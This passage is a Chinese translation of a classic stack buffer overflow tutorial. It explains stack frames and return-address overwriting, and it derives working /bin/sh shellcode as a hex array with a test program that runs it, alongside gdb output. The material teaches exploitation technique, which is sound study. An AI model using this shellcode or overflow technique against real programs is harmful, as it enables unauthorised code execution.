'踐踏堆棧'[C語言編程] n. 在許多C語言的實(shí)現(xiàn)中,有可能通過寫入例程
中所聲明的數(shù)組的結(jié)尾部分來破壞可執(zhí)行的堆棧.所謂'踐踏堆棧'使用的
代碼可以造成例程的返回異常,從而跳到任意的地址.這導(dǎo)致了一些極為
險惡的數(shù)據(jù)相關(guān)漏洞(已人所共知).其變種包括堆棧垃圾化(trash the
stack),堆棧亂寫(scribble the stack),堆棧毀壞(mangle the stack);
術(shù)語mung the stack并不使用,因?yàn)檫@從來不是故意造成的.參閱spam?
也請參閱同名的漏洞,胡鬧內(nèi)核(fandango on core),內(nèi)存泄露(memory
leak),優(yōu)先權(quán)丟失(precedence lossage),螺紋滑扣(overrun screw).
簡 介
~~~~~~~
在過去的幾個月中,被發(fā)現(xiàn)和利用的緩沖區(qū)溢出漏洞呈現(xiàn)上升趨勢.例如syslog,
splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at等等.本文試圖
解釋什么是緩沖區(qū)溢出, 以及如何利用.
匯編的基礎(chǔ)知識是必需的. 對虛擬內(nèi)存的概念, 以及使用gdb的經(jīng)驗(yàn)是十分有益
的, 但不是必需的. 我們還假定使用Intel x86 CPU, 操作系統(tǒng)是Linux.
在開始之前我們給出幾個基本的定義: 緩沖區(qū),簡單說來是一塊連續(xù)的計(jì)算機(jī)內(nèi)
存區(qū)域, 可以保存相同數(shù)據(jù)類型的多個實(shí)例. C程序員通常和字緩沖區(qū)數(shù)組打交道.
最常見的是字符數(shù)組. 數(shù)組, 與C語言中所有的變量一樣, 可以被聲明為靜態(tài)或動態(tài)
的. 靜態(tài)變量在程序加載時定位于數(shù)據(jù)段. 動態(tài)變量在程序運(yùn)行時定位于堆棧之中.
溢出, 說白了就是灌滿, 使內(nèi)容物超過頂端, 邊緣, 或邊界. 我們這里只關(guān)心動態(tài)
緩沖區(qū)的溢出問題, 即基于堆棧的緩沖區(qū)溢出.
進(jìn)程的內(nèi)存組織形式
~~~~~~~~~~~~~~~~~~~~
為了理解什么是堆棧緩沖區(qū), 我們必須首先理解一個進(jìn)程是以什么組織形式在
內(nèi)存中存在的. 進(jìn)程被分成三個區(qū)域: 文本, 數(shù)據(jù)和堆棧. 我們把精力集中在堆棧
區(qū)域, 但首先按照順序簡單介紹一下其他區(qū)域.
文本區(qū)域是由程序確定的, 包括代碼(指令)和只讀數(shù)據(jù). 該區(qū)域相當(dāng)于可執(zhí)行
文件的文本段. 這個區(qū)域通常被標(biāo)記為只讀, 任何對其寫入的操作都會導(dǎo)致段錯誤
(segmentation violation).
數(shù)據(jù)區(qū)域包含了已初始化和未初始化的數(shù)據(jù). 靜態(tài)變量儲存在這個區(qū)域中. 數(shù)
據(jù)區(qū)域?qū)?yīng)可執(zhí)行文件中的data-bss段. 它的大小可以用系統(tǒng)調(diào)用brk(2)來改變.
如果bss數(shù)據(jù)的擴(kuò)展或用戶堆棧把可用內(nèi)存消耗光了, 進(jìn)程就會被阻塞住, 等待有了
一塊更大的內(nèi)存空間之后再運(yùn)行. 新內(nèi)存加入到數(shù)據(jù)和堆棧段的中間.
/------------------\ 內(nèi)存低地址
| |
| 文本 |
| |
|------------------|
| (已初始化) |
| 數(shù)據(jù) |
| (未初始化) |
|------------------|
| |
| 堆棧 |
| |
\------------------/ 內(nèi)存高地址
Fig. 1 進(jìn)程內(nèi)存區(qū)域
什么是堆棧?
~~~~~~~~~~~~~
堆棧是一個在計(jì)算機(jī)科學(xué)中經(jīng)常使用的抽象數(shù)據(jù)類型. 堆棧中的物體具有一個特性:
最后一個放入堆棧中的物體總是被最先拿出來, 這個特性通常稱為后進(jìn)先處(LIFO)隊(duì)列.
堆棧中定義了一些操作. 兩個最重要的是PUSH和POP. PUSH操作在堆棧的頂部加入一
個元素. POP操作相反, 在堆棧頂部移去一個元素, 并將堆棧的大小減一.
為什么使用堆棧?
~~~~~~~~~~~~~~~~
現(xiàn)代計(jì)算機(jī)被設(shè)計(jì)成能夠理解人們頭腦中的高級語言. 在使用高級語言構(gòu)造程序時
最重要的技術(shù)是過程(procedure)和函數(shù)(function). 從這一點(diǎn)來看, 一個過程調(diào)用可
以象跳轉(zhuǎn)(jump)命令那樣改變程序的控制流程, 但是與跳轉(zhuǎn)不同的是, 當(dāng)工作完成時,
函數(shù)把控制權(quán)返回給調(diào)用之后的語句或指令. 這種高級抽象實(shí)現(xiàn)起來要靠堆棧的幫助.
堆棧也用于給函數(shù)中使用的局部變量動態(tài)分配空間, 同樣給函數(shù)傳遞參數(shù)和函數(shù)返
回值也要用到堆棧.
堆棧區(qū)域
~~~~~~~~~~
堆棧是一塊保存數(shù)據(jù)的連續(xù)內(nèi)存. 一個名為堆棧指針(SP)的寄存器指向堆棧的頂部.
堆棧的底部在一個固定的地址. 堆棧的大小在運(yùn)行時由內(nèi)核動態(tài)地調(diào)整. CPU實(shí)現(xiàn)指令
PUSH和POP, 向堆棧中添加元素和從中移去元素.
堆棧由邏輯堆棧幀組成. 當(dāng)調(diào)用函數(shù)時邏輯堆棧幀被壓入棧中, 當(dāng)函數(shù)返回時邏輯
堆棧幀被從棧中彈出. 堆棧幀包括函數(shù)的參數(shù), 函數(shù)地局部變量, 以及恢復(fù)前一個堆棧
幀所需要的數(shù)據(jù), 其中包括在函數(shù)調(diào)用時指令指針(IP)的值.
堆棧既可以向下增長(向內(nèi)存低地址)也可以向上增長, 這依賴于具體的實(shí)現(xiàn). 在我
們的例子中, 堆棧是向下增長的. 這是很多計(jì)算機(jī)的實(shí)現(xiàn)方式, 包括Intel, Motorola,
SPARC和MIPS處理器. 堆棧指針(SP)也是依賴于具體實(shí)現(xiàn)的. 它可以指向堆棧的最后地址,
或者指向堆棧之后的下一個空閑可用地址. 在我們的討論當(dāng)中, SP指向堆棧的最后地址.
除了堆棧指針(SP指向堆棧頂部的的低地址)之外, 為了使用方便還有指向幀內(nèi)固定
地址的指針叫做幀指針(FP). 有些文章把它叫做局部基指針(LB-local base pointer).
從理論上來說, 局部變量可以用SP加偏移量來引用. 然而, 當(dāng)有字被壓棧和出棧后, 這
些偏移量就變了. 盡管在某些情況下編譯器能夠跟蹤棧中的字操作, 由此可以修正偏移
量, 但是在某些情況下不能. 而且在所有情況下, 要引入可觀的管理開銷. 而且在有些
機(jī)器上, 比如Intel處理器, 由SP加偏移量訪問一個變量需要多條指令才能實(shí)現(xiàn).
因此, 許多編譯器使用第二個寄存器, FP, 對于局部變量和函數(shù)參數(shù)都可以引用,
因?yàn)樗鼈兊紽P的距離不會受到PUSH和POP操作的影響. 在Intel CPU中, BP(EBP)用于這
個目的. 在Motorola CPU中, 除了A7(堆棧指針SP)之外的任何地址寄存器都可以做FP.
考慮到我們堆棧的增長方向, 從FP的位置開始計(jì)算, 函數(shù)參數(shù)的偏移量是正值, 而局部
變量的偏移量是負(fù)值.
當(dāng)一個例程被調(diào)用時所必須做的第一件事是保存前一個FP(這樣當(dāng)例程退出時就可以
恢復(fù)). 然后它把SP復(fù)制到FP, 創(chuàng)建新的FP, 把SP向前移動為局部變量保留空間. 這稱為
例程的序幕(prolog)工作. 當(dāng)例程退出時, 堆棧必須被清除干凈, 這稱為例程的收尾
(epilog)工作. Intel的ENTER和LEAVE指令, Motorola的LINK和UNLINK指令, 都可以用于
有效地序幕和收尾工作.
下面我們用一個簡單的例子來展示堆棧的模樣:
example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
}
void main() {
function(1,2,3);
}
------------------------------------------------------------------------------
為了理解程序在調(diào)用function()時都做了哪些事情, 我們使用gcc的-S選項(xiàng)編譯, 以產(chǎn)
生匯編代碼輸出:
$ gcc -S -o example1.s example1.c
通過查看匯編語言輸出, 我們看到對function()的調(diào)用被翻譯成:
pushl $3
pushl $2
pushl $1
call function
以從后往前的順序?qū)unction的三個參數(shù)壓入棧中, 然后調(diào)用function(). 指令call
會把指令指針(IP)也壓入棧中. 我們把這被保存的IP稱為返回地址(RET). 在函數(shù)中所做
的第一件事情是例程的序幕工作:
pushl %ebp
movl %esp,%ebp
subl $20,%esp
將幀指針EBP壓入棧中. 然后把當(dāng)前的SP復(fù)制到EBP, 使其成為新的幀指針. 我們把這
個被保存的FP叫做SFP. 接下來將SP的值減小, 為局部變量保留空間.
我們必須牢記:內(nèi)存只能以字為單位尋址. 在這里一個字是4個字節(jié), 32位. 因此5字節(jié)
的緩沖區(qū)會占用8個字節(jié)(2個字)的內(nèi)存空間, 而10個字節(jié)的緩沖區(qū)會占用12個字節(jié)(3個字)
的內(nèi)存空間. 這就是為什么SP要減掉20的原因. 這樣我們就可以想象function()被調(diào)用時
堆棧的模樣(每個空格代表一個字節(jié)):
內(nèi)存低地址 內(nèi)存高地址
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
堆棧頂部 堆棧底部
緩沖區(qū)溢出
~~~~~~~~~~~~
緩沖區(qū)溢出是向一個緩沖區(qū)填充超過它處理能力的數(shù)據(jù)所造成的結(jié)果. 如何利用這個
經(jīng)常出現(xiàn)的編程錯誤來執(zhí)行任意代碼呢? 讓我們來看看另一個例子:
example2.c
------------------------------------------------------------------------------
void function(char *str) {
char buffer[16];
strcpy(buffer,str);
}
void main() {
char large_string[256];
int i;
for( i = 0; i < 255; i++)
large_string[i] = 'A';
function(large_string);
}
------------------------------------------------------------------------------
這個程序的函數(shù)含有一個典型的內(nèi)存緩沖區(qū)編碼錯誤. 該函數(shù)沒有進(jìn)行邊界檢查就復(fù)
制提供的字符串, 錯誤地使用了strcpy()而沒有使用strncpy(). 如果你運(yùn)行這個程序就
會產(chǎn)生段錯誤. 讓我們看看在調(diào)用函數(shù)時堆棧的模樣:
內(nèi)存低地址 內(nèi)存高地址
buffer sfp ret *str
<------ [ ][ ][ ][ ]
堆棧頂部 堆棧底部
這里發(fā)生了什么事? 為什么我們得到一個段錯誤? 答案很簡單: strcpy()將*str的
內(nèi)容(larger_string[])復(fù)制到buffer[]里, 直到在字符串中碰到一個空字符. 顯然,
buffer[]比*str小很多. buffer[]只有16個字節(jié)長, 而我們卻試圖向里面填入256個字節(jié)
的內(nèi)容. 這意味著在buffer之后, 堆棧中250個字節(jié)全被覆蓋. 包括SFP, RET, 甚至*str!
我們已經(jīng)把large_string全都填成了A. A的十六進(jìn)制值為0x41. 這意味著現(xiàn)在的返回地
址是0x41414141. 這已經(jīng)在進(jìn)程的地址空間之外了. 當(dāng)函數(shù)返回時, 程序試圖讀取返回
地址的下一個指令, 此時我們就得到一個段錯誤.
因此緩沖區(qū)溢出允許我們更改函數(shù)的返回地址. 這樣我們就可以改變程序的執(zhí)行流程.
現(xiàn)在回到第一個例子, 回憶當(dāng)時堆棧的模樣:
內(nèi)存低地址 內(nèi)存高地址
buffer2 buffer1 sfp ret a b c
<------ [ ][ ][ ][ ][ ][ ][ ]
堆棧頂部 堆棧底部
現(xiàn)在試著修改我們第一個例子, 讓它可以覆蓋返回地址, 而且使它可以執(zhí)行任意代碼.
堆棧中在buffer1[]之前的是SFP, SFP之前是返回地址. ret從buffer1[]的結(jié)尾算起是4個
字節(jié).應(yīng)該記住的是buffer1[]實(shí)際上是2個字即8個字節(jié)長. 因此返回地址從buffer1[]的開
頭算起是12個字節(jié). 我們會使用這種方法修改返回地址, 跳過函數(shù)調(diào)用后面的賦值語句
'x=1;', 為了做到這一點(diǎn)我們把返回地址加上8個字節(jié). 代碼看起來是這樣的:
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
char buffer1[5];
char buffer2[10];
int *ret;
ret = buffer1 + 12;
(*ret) += 8;
}
void main() {
int x;
x = 0;
function(1,2,3);
x = 1;
printf("%d\n",x);
}
------------------------------------------------------------------------------
我們把buffer1[]的地址加上12, 所得的新地址是返回地址儲存的地方. 我們想跳過
賦值語句而直接執(zhí)行printf調(diào)用. 如何知道應(yīng)該給返回地址加8個字節(jié)呢? 我們先前使用
過一個試驗(yàn)值(比如1), 編譯該程序, 祭出工具gdb:
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>: pushl %ebp
0x8000491 <main+1>: movl %esp,%ebp
0x8000493 <main+3>: subl $0x4,%esp
0x8000496 <main+6>: movl $0x0,0xfffffffc(%ebp)
0x800049d <main+13>: pushl $0x3
0x800049f <main+15>: pushl $0x2
0x80004a1 <main+17>: pushl $0x1
0x80004a3 <main+19>: call 0x8000470 <function>
0x80004a8 <main+24>: addl $0xc,%esp
0x80004ab <main+27>: movl $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>: movl 0xfffffffc(%ebp),%eax
0x80004b5 <main+37>: pushl %eax
0x80004b6 <main+38>: pushl $0x80004f8
0x80004bb <main+43>: call 0x8000378 <printf>
0x80004c0 <main+48>: addl $0x8,%esp
0x80004c3 <main+51>: movl %ebp,%esp
0x80004c5 <main+53>: popl %ebp
0x80004c6 <main+54>: ret
0x80004c7 <main+55>: nop
------------------------------------------------------------------------------
我們看到當(dāng)調(diào)用function()時, RET會是0x8004a8, 我們希望跳過在0x80004ab的賦值
指令. 下一個想要執(zhí)行的指令在0x8004b2. 簡單的計(jì)算告訴我們兩個指令的距離為8字節(jié).
Shell Code
~~~~~~~~~~
現(xiàn)在我們可以修改返回地址即可以改變程序執(zhí)行的流程, 我們想要執(zhí)行什么程序呢?
在大多數(shù)情況下我們只是希望程序派生出一個shell. 從這個shell中, 可以執(zhí)行任何我
們所希望的命令. 但是如果我們試圖破解的程序里并沒有這樣的代碼可怎么辦呢? 我們
怎么樣才能將任意指令放到程序的地址空間中去呢? 答案就是把想要執(zhí)行的代碼放到我
們想使其溢出的緩沖區(qū)里, 并且覆蓋函數(shù)的返回地址, 使其指向這個緩沖區(qū). 假定堆棧
的起始地址為0xFF, S代表我們想要執(zhí)行的代碼, 堆棧看起來應(yīng)該是這樣:
內(nèi)存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
^ |
|____________________________|
堆棧頂部 堆棧底部
派生出一個shell的C語言代碼是這樣的:
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
void main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
為了查明這程序變成匯編后是個什么樣子, 我們編譯它, 然后祭出調(diào)試工具gdb. 記住
在編譯的時候要使用-static標(biāo)志, 否則系統(tǒng)調(diào)用execve的真實(shí)代碼就不會包括在匯編中,
取而代之的是對動態(tài)C語言庫的一個引用, 真正的代碼要到程序加載的時候才會聯(lián)入.
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>: pushl $0x0
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
0x8000149 <main+25>: pushl %eax
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
0x800014d <main+29>: pushl %eax
0x800014e <main+30>: call 0x80002bc <__execve>
0x8000153 <main+35>: addl $0xc,%esp
0x8000156 <main+38>: movl %ebp,%esp
0x8000158 <main+40>: popl %ebp
0x8000159 <main+41>: ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
0x80002c0 <__execve+4>: movl $0xb,%eax
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
0x80002ce <__execve+18>: int $0x80
0x80002d0 <__execve+20>: movl %eax,%edx
0x80002d2 <__execve+22>: testl %edx,%edx
0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42>
0x80002d6 <__execve+26>: negl %edx
0x80002d8 <__execve+28>: pushl %edx
0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>: popl %edx
0x80002df <__execve+35>: movl %edx,(%eax)
0x80002e1 <__execve+37>: movl $0xffffffff,%eax
0x80002e6 <__execve+42>: popl %ebx
0x80002e7 <__execve+43>: movl %ebp,%esp
0x80002e9 <__execve+45>: popl %ebp
0x80002ea <__execve+46>: ret
0x80002eb <__execve+47>: nop
End of assembler dump.
------------------------------------------------------------------------------
下面我們看看這里究竟發(fā)生了什么事情. 先從main開始研究:
------------------------------------------------------------------------------
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: subl $0x8,%esp
這是例程的準(zhǔn)備工作. 首先保存老的幀指針, 用當(dāng)前的堆棧指針作為新的幀指針,
然后為局部變量保留空間. 這里是:
char *name[2];
即2個指向字符串的指針. 指針的長度是一個字, 所以這里保留2個字(8個字節(jié))的
空間.
0x8000136 <main+6>: movl $0x80027b8,0xfffffff8(%ebp)
我們把0x80027b8(字串"/bin/sh"的地址)這個值復(fù)制到name[]中的第一個指針, 這
等價于:
name[0] = "/bin/sh";
0x800013d <main+13>: movl $0x0,0xfffffffc(%ebp)
我們把值0x0(NULL)復(fù)制到name[]中的第二個指針, 這等價于:
name[1] = NULL;
對execve()的真正調(diào)用從下面開始:
0x8000144 <main+20>: pushl $0x0
我們把execve()的參數(shù)以從后向前的順序壓入堆棧中, 這里從NULL開始.
0x8000146 <main+22>: leal 0xfffffff8(%ebp),%eax
把name[]的地址放到EAX寄存器中.
0x8000149 <main+25>: pushl %eax
接著就把name[]的地址壓入堆棧中.
0x800014a <main+26>: movl 0xfffffff8(%ebp),%eax
把字串"/bin/sh"的地址放到EAX寄存器中
0x800014d <main+29>: pushl %eax
接著就把字串"/bin/sh"的地址壓入堆棧中
0x800014e <main+30>: call 0x80002bc <__execve>
調(diào)用庫例程execve(). 這個調(diào)用指令把IP(指令指針)壓入堆棧中.
------------------------------------------------------------------------------
現(xiàn)在到了execve(). 要注意我們使用的是基于Intel的Linux系統(tǒng). 系統(tǒng)調(diào)用的細(xì)節(jié)隨
操作系統(tǒng)和CPU的不同而不同. 有的把參數(shù)壓入堆棧中, 有的保存在寄存器里. 有的使用
軟中斷跳入內(nèi)核模式, 有的使用遠(yuǎn)調(diào)用(far call). Linux把傳給系統(tǒng)調(diào)用的參數(shù)保存在
寄存器里, 并且使用軟中斷跳入內(nèi)核模式.
------------------------------------------------------------------------------
0x80002bc <__execve>: pushl %ebp
0x80002bd <__execve+1>: movl %esp,%ebp
0x80002bf <__execve+3>: pushl %ebx
例程的準(zhǔn)備工作.
0x80002c0 <__execve+4>: movl $0xb,%eax
把0xb(十進(jìn)制的11)放入寄存器EAX中(原文誤為堆棧). 0xb是系統(tǒng)調(diào)用表的索引
11就是execve.
0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx
把"/bin/sh"的地址放到寄存器EBX中.
0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx
把name[]的地址放到寄存器ECX中.
0x80002cb <__execve+15>: movl 0x10(%ebp),%edx
把空指針的地址放到寄存器EDX中.
0x80002ce <__execve+18>: int $0x80
進(jìn)入內(nèi)核模式.
------------------------------------------------------------------------------
由此可見調(diào)用execve()也沒有什么太多的工作要做, 所有要做的事情總結(jié)如下:
a) 把以NULL結(jié)尾的字串"/bin/sh"放到內(nèi)存某處.
b) 把字串"/bin/sh"的地址放到內(nèi)存某處, 后面跟一個空的長字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到寄存器EDX中.
g) 執(zhí)行指令int $0x80.
但是如果execve()調(diào)用由于某種原因失敗了怎么辦? 程序會繼續(xù)從堆棧中讀取指令,
這時的堆棧中可能含有隨機(jī)的數(shù)據(jù)! 程序執(zhí)行這樣的指令十有八九會core dump. 如果execv
e
調(diào)用失敗我們還是希望程序能夠干凈地退出. 為此必須在調(diào)用execve之后加入一個exit
系統(tǒng)調(diào)用. exit系統(tǒng)調(diào)用在匯編語言看起來象什么呢?
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
void main() {
exit(0);
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>: pushl %ebp
0x800034d <_exit+1>: movl %esp,%ebp
0x800034f <_exit+3>: pushl %ebx
0x8000350 <_exit+4>: movl $0x1,%eax
0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx
0x8000358 <_exit+12>: int $0x80
0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>: movl %ebp,%esp
0x800035f <_exit+19>: popl %ebp
0x8000360 <_exit+20>: ret
0x8000361 <_exit+21>: nop
0x8000362 <_exit+22>: nop
0x8000363 <_exit+23>: nop
End of assembler dump.
------------------------------------------------------------------------------
系統(tǒng)調(diào)用exit會把0x1放到寄存器EAX中, 在EBX中放置退出碼, 并且執(zhí)行"int 0x80".
就這些了! 大多數(shù)應(yīng)用程序在退出時返回0, 以表示沒有錯誤. 我們在EBX中也放入0. 現(xiàn)
在我們構(gòu)造shell code的步驟就是這樣的了:
a) 把以NULL結(jié)尾的字串"/bin/sh"放到內(nèi)存某處.
b) 把字串"/bin/sh"的地址放到內(nèi)存某處, 后面跟一個空的長字(null long word)
.
c) 把0xb放到寄存器EAX中.
d) 把字串"/bin/sh"的地址放到寄存器EBX中.
e) 把字串"/bin/sh"地址的地址放到寄存器ECX中.
(注: 原文d和e步驟把EBX和ECX弄反了)
f) 把空長字的地址放到寄存器EDX中.
g) 執(zhí)行指令int $0x80.
h) 把0x1放到寄存器EAX中.
i) 把0x0放到寄存器EAX中.
j) 執(zhí)行指令int $0x80.
試著把這些步驟變成匯編語言, 把字串放到代碼后面. 別忘了在數(shù)組后面放上字串
地址和空字, 我們有如下的代碼:
------------------------------------------------------------------------------
movl string_addr,string_addr_addr
movb $0x0,null_byte_addr
movl $0x0,null_addr
movl $0xb,%eax
movl string_addr,%ebx
leal string_addr,%ecx
leal null_string,%edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
/bin/sh string goes here.
------------------------------------------------------------------------------
問題是我們不知道在要破解的程序的內(nèi)存空間中, 上述代碼(和其后的字串)會被放到
哪里. 一種解決方法是使用JMP和CALL指令. JMP和CALL指令使用相對IP的尋址方式, 也就
是說我們可以跳到距離當(dāng)前IP一定間距的某個位置, 而不必知道那個位置在內(nèi)存中的確切
地址. 如果我們在字串"/bin/sh"之前放一個CALL指令, 并由一個JMP指令轉(zhuǎn)到CALL指令上.
當(dāng)CALL指令執(zhí)行的時候, 字串的地址會被作為返回地址壓入堆棧之中. 我們所需要的就是
把返回地址放到一個寄存器之中. CALL指令只是調(diào)用我們上述的代碼就可以了. 假定J代
表JMP指令, C代表CALL指令, s代表字串, 執(zhí)行過程如下所示:
內(nèi)存低 DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF 內(nèi)存高
地址 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF 地址
buffer sfp ret a b c
<------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
^|^ ^| |
|||_____________||____________| (1)
(2) ||_____________||
|______________| (3)
堆棧頂部 堆棧底部
運(yùn)用上述的修正方法, 并使用相對索引尋址, 我們代碼中每條指令的字節(jié)數(shù)目如下:
------------------------------------------------------------------------------
jmp offset-to-call # 2 bytes
popl %esi # 1 byte
movl %esi,array-offset(%esi) # 3 bytes
movb $0x0,nullbyteoffset(%esi)# 4 bytes
movl $0x0,null-offset(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal array-offset(%esi),%ecx # 3 bytes
leal null-offset(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call offset-to-popl # 5 bytes
/bin/sh string goes here.
------------------------------------------------------------------------------
通過計(jì)算從jmp到call, 從call到popl, 從字串地址到數(shù)組, 從字串地址到空長字的
偏量, 我們得到:
------------------------------------------------------------------------------
jmp 0x26 # 2 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2b # 5 bytes
.string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
這看起來很不錯了. 為了確保代碼能夠正常工作必須編譯并執(zhí)行. 但是還有一個問題.
我們的代碼修改了自身, 可是多數(shù)操作系統(tǒng)將代碼頁標(biāo)記為只讀. 為了繞過這個限制我們
必須把要執(zhí)行的代碼放到堆棧或數(shù)據(jù)段中, 并且把控制轉(zhuǎn)到那里. 為此應(yīng)該把代碼放到數(shù)
據(jù)段中的全局?jǐn)?shù)組中. 我們首先需要用16進(jìn)制表示的二進(jìn)制代碼. 先編譯, 然后再用gdb
來取得二進(jìn)制代碼.
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
jmp 0x2a # 3 bytes
popl %esi # 1 byte
movl %esi,0x8(%esi) # 3 bytes
movb $0x0,0x7(%esi) # 4 bytes
movl $0x0,0xc(%esi) # 7 bytes
movl $0xb,%eax # 5 bytes
movl %esi,%ebx # 2 bytes
leal 0x8(%esi),%ecx # 3 bytes
leal 0xc(%esi),%edx # 3 bytes
int $0x80 # 2 bytes
movl $0x1, %eax # 5 bytes
movl $0x0, %ebx # 5 bytes
int $0x80 # 2 bytes
call -0x2f # 5 bytes
.string \"/bin/sh\" # 8 bytes
");
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>: pushl %ebp
0x8000131 <main+1>: movl %esp,%ebp
0x8000133 <main+3>: jmp 0x800015f <main+47>
0x8000135 <main+5>: popl %esi
0x8000136 <main+6>: movl %esi,0x8(%esi)
0x8000139 <main+9>: movb $0x0,0x7(%esi)
0x800013d <main+13>: movl $0x0,0xc(%esi)
0x8000144 <main+20>: movl $0xb,%eax
0x8000149 <main+25>: movl %esi,%ebx
0x800014b <main+27>: leal 0x8(%esi),%ecx
0x800014e <main+30>: leal 0xc(%esi),%edx
0x8000151 <main+33>: int $0x80
0x8000153 <main+35>: movl $0x1,%eax
0x8000158 <main+40>: movl $0x0,%ebx
0x800015d <main+45>: int $0x80
0x800015f <main+47>: call 0x8000135 <main+5>
0x8000164 <main+52>: das
0x8000165 <main+53>: boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>: das
0x8000169 <main+57>: jae 0x80001d3 <__new_exitfn+55>
0x800016b <main+59>: addb %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>: 0xeb
(gdb)
0x8000134 <main+4>: 0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
void main() {
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
成了! 但是這里還有一個障礙, 在多數(shù)情況下, 我們都是試圖使一個字符緩沖區(qū)溢出.
